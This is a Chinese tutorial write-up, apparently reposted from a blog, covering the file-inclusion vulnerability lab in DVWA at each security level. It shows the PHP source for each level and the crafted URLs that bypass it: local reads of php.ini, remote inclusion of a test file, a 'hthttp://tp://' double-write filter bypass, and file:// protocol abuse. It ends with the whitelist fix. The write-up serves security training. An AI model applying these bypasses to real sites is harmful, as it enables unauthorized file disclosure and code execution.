DVWA 之 文件包含漏洞 全等级

一、漏洞概述

File Inclusion(文件包含漏洞)是指服务端将包含的文件设置为变量,利用URL动态调用。若没有对包含文件进行有效的过滤,就会导致恶意文件或代码被调用执行,造成文件包含漏洞。

PHP文件包含的四个函数:

include():包含文件错误时返回一条警告,代码继续向下执行。常用于动态包含。

require():包含文件错误时产生致命错误,代码停止执行。通常用于重要文件包含。

include_once():与include()功能相同,区别是如果文件已经被包含过则不再包含。

require_once():与require()功能相同,区别是如果文件已经被包含过则不再包含。

二、工具

firefox

三、测试过程

1、级别:low

贴上代码:

  1 <?php
  2 
  3 // The page we wish to display
  4 $file = $_GET[ 'page' ];
  5 
  6 ?>
  7 

说明程序直接读取page参数,使用include进行文件包含。

我们先改变page参数,编写一个不存在的文件:

clipboard

发现报错,显示没有这个文件,同时也暴露了服务器的绝对路径。

我们利用绝对路径读取本地文件,构造url:

http://192.168.2.121/dvwa/vulnerabilities/fi/?page=F:\phpStudy\PHPTutorial\WWW\dvwa\php.ini

clipboard

成功读取到文件内容。

可以发现服务器的配置文件中的allow_url_fopen = on 和allow_url_include = on,说明服务器允许包含远程服务器上的文件。

创建一个文件:

clipboard

启动远程服务器:

clipboard

构造url:http://192.168.2.121/dvwa/vulnerabilities/fi/page=http://localhost:8000/Desktop/test.php

clipboard

2、级别:Medium

贴上代码:

  1 <?php
  2 
  3 // The page we wish to display
  4 $file = $_GET[ 'page' ];
  5 
  6 // Input validation
  7 $file = str_replace( array( "http://", "https://" ), "", $file );
  8 $file = str_replace( array( "../", "..\"" ), "", $file );
  9 
 10 ?>
 11 

可以看出相比low级别增加了str_replace函数,对page参数中的字符串进行了处理,但并不能进行有效的阻止,本地文件包含时使用绝对路径依然没有任何影响;远程文件包含时我们可以使用双写绕过这个替换规则,例如:hthttp://tp://,中间的http://被替换后依然保留了一个http://。

因此可构造url:

http://192.168.2.121/dvwa/vulnerabilities/fi/page=hthttp://tp://localhost:8000/Desktop/test.php

clipboard

3、级别:High

贴上代码:

  1 一、漏洞概述
  2 <?php
  3 
  4 // The page we wish to display
  5 $file = $_GET[ 'page' ];
  6 
  7 // Input validation
  8 if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
  9     // This isn't the page we want!
 10     echo "ERROR: File not found!";
 11     exit;
 12 }
 13 
 14 ?>
 15 

从代码可以读出High级别使用了fnmatch函数检查page参数,只有 include.php 以及 file 开头的文件才会被包含。

因此,我们依然可以利用file协议绕过,进行本地文件包含:

http://192.168.2.121/dvwa/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/php.ini

clipboard

但是要执行任意命令则需要配合文件上传漏洞进行组合利用。

4.级别:Impossible

贴上代码:

  1 <?php
  2 
  3 // The page we wish to display
  4 $file = $_GET[ 'page' ];
  5 
  6 // Only allow include.php or file{1..3}.php
  7 if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
  8     // This isn't the page we want!
  9     echo "ERROR: File not found!";
 10     exit;
 11 }
 12 
 13 ?>

观察代码,发现impossible级别的代码采用白名单机制,page参数只能时白名单中的几个文件名之一,杜绝了文件包含漏洞。

猜你喜欢

转载自www.cnblogs.com/hyq0616-love/p/12585241.html